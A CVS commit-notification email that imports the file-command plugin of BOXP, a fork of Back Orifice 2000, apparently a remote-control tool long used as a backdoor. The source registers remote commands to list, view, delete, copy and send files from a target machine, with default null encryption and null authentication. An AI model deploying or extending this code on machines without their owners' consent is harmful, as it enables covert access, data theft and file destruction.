[Boxp-cvs] boxp/srv_file cmd_file.cpp,NONE,1.1 cmd_file.h,NONE,1.1 main.cpp,NONE,1.1 main.h,NONE,1.1
Status: Beta
Brought to you by:
j_aroche
From: Javier A. \(RA\) <j_a...@us...> - 2004-09-10 22:09:27
|
Update of /cvsroot/boxp/boxp/srv_file In directory sc8-pr-cvs1.sourceforge.net:/tmp/cvs-serv16929/srv_file Added Files: cmd_file.cpp cmd_file.h main.cpp main.h srv_file.dsp Log Message: Initial Import Javier Aroche --- NEW FILE: cmd_file.cpp --- /* Back Orifice 2000 - Remote Administration Suite Copyright (C) 1999, Cult Of The Dead Cow This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA > Autor: DilDog, dildog at users dot sourceforge dot net > Editor: Javier Aroche, j_aroche at users dot sourceforge dot net (05-Aug-03) */ [...1109 lines suppressed...] api->pCloseHandle( hSrc ); return false; } api->pCloseHandle( hSrc ); // Komprimir ahora.... fct->IssueAuthCmdReply(gs,ctx,0,"Decompression started... please wait.\n"); api->pEnterCriticalSection( &gv->g_LzhCrit ); gv->Lzc->lzh_melt_memory( gv->Lzc, pData, nSize, (void **)&pOut, (int *)&nOut ); api->pLeaveCriticalSection( &gv->g_LzhCrit ); // Ezkribir el rezultado api->pWriteFile( hDest, pOut, nOut,&op,NULL ); api->pCloseHandle( hDest ); fct->free( pData,gs ); gv->Lzc->lzh_free_memory( gv->Lzc, (void **)&pOut ); fct->IssueAuthCmdReply(gs,ctx,0,"File decompressed.\n"); return true; } --- NEW FILE: main.cpp --- /* Back Orifice 2000 - Remote Administration Suite Copyright (C) 1999, Cult Of The Dead Cow This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA > Autor: DilDog, dildog at users dot sourceforge dot net > Editor: Javier Aroche, j_aroche at users dot sourceforge dot net (05-Aug-03) */ #include <srv_linkage.h> #include"main.h" #include"cmd_file.h" char g_svFileOptions[]="<**CFG**>File Transfer\0" "S[8]:File Xfer Net Type=TCPIO\0\0\0\0" "S[48]:File Xfer Bind Str=RANDOM\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "S[8]:File Xfer Encryption=NULL\0\0\0\0\0" "S[8]:File Xfer Auth=NULLAUTH\0"; // ------------- Function Implementations ------------------ HINSTANCE g_hInstance; BOOL g_bActive; int g_nCmdNum[16]; BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved) { // Do NOT perform configuration or initialization here switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hInstance=hInst; break; } return TRUE; } bool BOAPI InitPlugin ( GS *gs, PI *pv ) { if ( gs->nSize != sizeof(GS) ) return false; SRV *srv = gs->srv; g_bActive=TRUE; if ( srv ) { Cmd_FileXfer_Init(gs); // File and Directory Commands g_nCmdNum[0]= srv->RegCommand( gs, CmdProc_DirectoryList, NULL, "File/Directory", "List Directory", NULL, "Pathname", NULL, BF_READONLY ); g_nCmdNum[1]= srv->RegCommand( gs, CmdProc_FileFind, NULL, "File/Directory", "Find File", NULL, "Root path", "Filename Spec", BF_READONLY ); g_nCmdNum[2]= srv->RegCommand( gs, CmdProc_FileDelete, NULL, "File/Directory", "Delete File", NULL, "Pathname", NULL, BF_WRITE ); g_nCmdNum[3]= srv->RegCommand( gs, CmdProc_FileView, NULL, "File/Directory", "View File", NULL, "Pathname", NULL, BF_READONLY ); g_nCmdNum[4]= srv->RegCommand( gs, CmdProc_FileRename, NULL, "File/Directory", "Move/Rename File",NULL, "Pathname", "New Pathname", BF_WRITE ); g_nCmdNum[5]= srv->RegCommand( gs, CmdProc_FileCopy, NULL, "File/Directory", "Copy File", NULL, "Source Pathname","Target Pathname", BF_WRITE ); g_nCmdNum[6]= srv->RegCommand( gs, CmdProc_DirectoryMake, NULL, "File/Directory", "Make Directory", NULL, "Pathname", NULL, BF_WRITE ); g_nCmdNum[7]= srv->RegCommand( gs, CmdProc_DirectoryDelete,NULL,"File/Directory", "Remove Directory",NULL, "Pathname", NULL, BF_WRITE); g_nCmdNum[8]= srv->RegCommand( gs, CmdProc_SetFileAttr, NULL, "File/Directory", "Set File Attributes",NULL,"Pathname","Attributes (ARSHT)", BF_WRITE ); g_nCmdNum[9]= srv->RegCommand( gs, CmdProc_ReceiveFile, NULL, "File/Directory", "Receive File", NULL, "[BINDSTR,NET,ENC,AUTH]","Pathname", BF_WRITE ); g_nCmdNum[10]=srv->RegCommand( gs, CmdProc_SendFile, NULL, "File/Directory", "Send File", NULL, "Address[,NET,ENC,AUTH]","Pathname", BF_READONLY ); g_nCmdNum[11]=srv->RegCommand( gs, CmdProc_EmitFile, NULL, "File/Directory", "Emit File", NULL, "[BINDSTR,NET,ENC,AUTH]","Pathname", BF_WRITE ); g_nCmdNum[12]=srv->RegCommand( gs, CmdProc_ListTransfers, NULL, "File/Directory", "List Transfers", NULL, NULL, NULL, BF_READONLY ); g_nCmdNum[13]=srv->RegCommand( gs, CmdProc_CancelTransfer,NULL, "File/Directory", "Cancel Transfer", NULL, NULL, "Pathname", BF_WRITE ); g_nCmdNum[14]=srv->RegCommand( gs, CmdProc_CompressFile, NULL, "File/Directory", "Compress File", NULL, "Pathname", "Output Pathname", BF_WRITE ); g_nCmdNum[15]=srv->RegCommand( gs, CmdProc_DecompressFile,NULL, "File/Directory", "Decompress File", NULL, "Pathname", "Output Pathname", BF_WRITE ); return true; } return false; } void BOAPI DelPlugin ( GS *gs ) { g_bActive=FALSE; Cmd_FileXfer_Kill(gs); if (gs->srv==NULL) return; for(int i=0; i<16; i++) { gs->srv->UnregCommand(gs,g_nCmdNum[i]); } } bool BOAPI PlugVer ( PLUGIN_INFO *pv ) { pv->wVerLo = 3; pv->wVerHi = 1; pv->wHiBOVer = 1; pv->wLoBOVer = 30; pv->svID = "SRVFILE\0"; pv->svName = "srv_file.dll"; pv->svDesc = "BO2K File Commands"; pv->pConfigStr = g_svFileOptions; pv->nConfigLen = sizeof(g_svFileOptions); pv->bRunAsThread= false; pv->Flags = PF_SRV; pv->Type = PLG_CMD; return true; } --- NEW FILE: main.h --- /* Back Orifice 2000 - Remote Administration Suite Copyright (C) 1999, Cult Of The Dead Cow This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA > Autor: DilDog, dildog at users dot sourceforge dot net > Editor: Javier Aroche, j_aroche at users dot sourceforge dot net (05-Aug-03) */ #ifndef __INC_MAIN_H #define __INC_MAIN_H #include <windows.h> #include <tlhelp32.h> #include <datatype.h> extern HINSTANCE g_hInstance; extern char g_svFileOptions[]; extern BOOL g_bActive; #endif --- NEW FILE: cmd_file.h --- /* Back Orifice 2000 - Remote Administration Suite Copyright (C) 1999, Cult Of The Dead Cow This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA > Autor: DilDog, dildog at users dot sourceforge dot net > Editor: Javier Aroche, j_aroche at users dot sourceforge dot net (05-Aug-03) */ #ifndef __INC_CMD_FILE_H #define __INC_CMD_FILE_H #include <datatype.h> #include <net.h> bool BOAPI CmdProc_DirectoryList ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_FileFind ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_FileDelete ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_FileView ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_FileRename ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_FileCopy ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_DirectoryMake ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_DirectoryDelete ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_SetFileAttr ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); int Cmd_FileXfer_Init( GS *gs ); int Cmd_FileXfer_Kill( GS *gs ); bool BOAPI CmdProc_ReceiveFile ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_SendFile ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_EmitFile ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_ListTransfers ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_CancelTransfer ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_CompressFile ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); bool BOAPI CmdProc_DecompressFile ( GS *gs, BOCMD_CTX *ctx, DWORD nArg1, char *svArg2, char *svArg3 ); #endif --- NEW FILE: srv_file.dsp --- # Microsoft Developer Studio Project File - Name="srv_file" - Package Owner=<4> # Microsoft Developer Studio Generated Build File, Format Version 6.00 # ** DO NOT EDIT ** # TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 CFG=srv_file - Win32 Debug !MESSAGE This is not a valid makefile. To build this project using NMAKE, !MESSAGE use the Export Makefile command and run !MESSAGE !MESSAGE NMAKE /f "srv_file.mak". !MESSAGE !MESSAGE You can specify a configuration when running NMAKE !MESSAGE by defining the macro CFG on the command line. For example: !MESSAGE !MESSAGE NMAKE /f "srv_file.mak" CFG="srv_file - Win32 Debug" !MESSAGE !MESSAGE Possible choices for configuration are: !MESSAGE !MESSAGE "srv_file - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") !MESSAGE "srv_file - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") !MESSAGE # Begin Project # PROP AllowPerConfigDependencies 0 # PROP Scc_ProjName "" # PROP Scc_LocalPath "" CPP=cl.exe MTL=midl.exe RSC=rc.exe !IF "$(CFG)" == "srv_file - Win32 Release" # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 0 # PROP BASE Output_Dir "Release" # PROP BASE Intermediate_Dir "Release" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 0 # PROP Output_Dir "..\Exes\plugins\" # PROP Intermediate_Dir "Release" # PROP Ignore_Export_Lib 0 # PROP Target_Dir "" # ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SRV_FILE_EXPORTS" /YX /FD /c # ADD CPP /nologo /Gz /Zp1 /MT /W3 /O1 /I ".\include" /I "..\boxp\include" /I "..\bogui\include" /I "..\bocfg\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SRV_FILE_EXPORTS" /Gs16378 /FD /c # ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x100a /d "NDEBUG" # ADD RSC /l 0x100a /d "NDEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 # ADD LINK32 kernel32.lib shell32.lib /nologo /base:"0x09340000" /entry:"DllMain@12" /dll /pdb:none /machine:I386 /nodefaultlib /implib:".\Release\srv_file.lib" /OPT:NOWIN98 !ELSEIF "$(CFG)" == "srv_file - Win32 Debug" # PROP BASE Use_MFC 0 # PROP BASE Use_Debug_Libraries 1 # PROP BASE Output_Dir "Debug" # PROP BASE Intermediate_Dir "Debug" # PROP BASE Target_Dir "" # PROP Use_MFC 0 # PROP Use_Debug_Libraries 1 # PROP Output_Dir "..\Exes\plugins\" # PROP Intermediate_Dir "Debug" # PROP Ignore_Export_Lib 0 # PROP Target_Dir "" # ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SRV_FILE_EXPORTS" /YX /FD /GZ /c # ADD CPP /nologo /Gz /Zp1 /MTd /W3 /Gm /Zi /Od /I ".\include" /I "..\boxp\include" /I "..\bogui\include" /I "..\bocfg\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SRV_FILE_EXPORTS" /Gs16378 /FD /c # ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 # ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 # ADD BASE RSC /l 0x100a /d "_DEBUG" # ADD RSC /l 0x100a /d "_DEBUG" BSC32=bscmake.exe # ADD BASE BSC32 /nologo # ADD BSC32 /nologo LINK32=link.exe # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept # ADD LINK32 kernel32.lib user32.lib gdi32.lib shell32.lib /nologo /base:"0x09340000" /entry:"DllMain@12" /dll /incremental:no /pdb:".\Debug\srv_file.pdb" /debug /machine:I386 /nodefaultlib /out:"..\Exes\plugins\_srv_file.dll" /implib:".\Debug\srv_file.lib" /pdbtype:sept # SUBTRACT LINK32 /pdb:none !ENDIF # Begin Target # Name "srv_file - Win32 Release" # Name "srv_file - Win32 Debug" # Begin Group "Source Files" # PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" # Begin Source File SOURCE=.\cmd_file.cpp # End Source File # Begin Source File SOURCE=.\main.cpp # End Source File # Begin Source File SOURCE=..\boxp\plug.def # End Source File # End Group # Begin Group "Header Files" # PROP Default_Filter "h;hpp;hxx;hm;inl" # Begin Group "support headers" # PROP Default_Filter "" # Begin Source File SOURCE=..\boxp\include\plugins.h # End Source File # Begin Source File SOURCE=..\boxp\include\srv_linkage.h # End Source File # End Group # Begin Source File SOURCE=.\cmd_file.h # End Source File # Begin Source File SOURCE=.\main.h # End Source File # End Group # Begin Group "Resource Files" # PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" # End Group # End Target # End Project |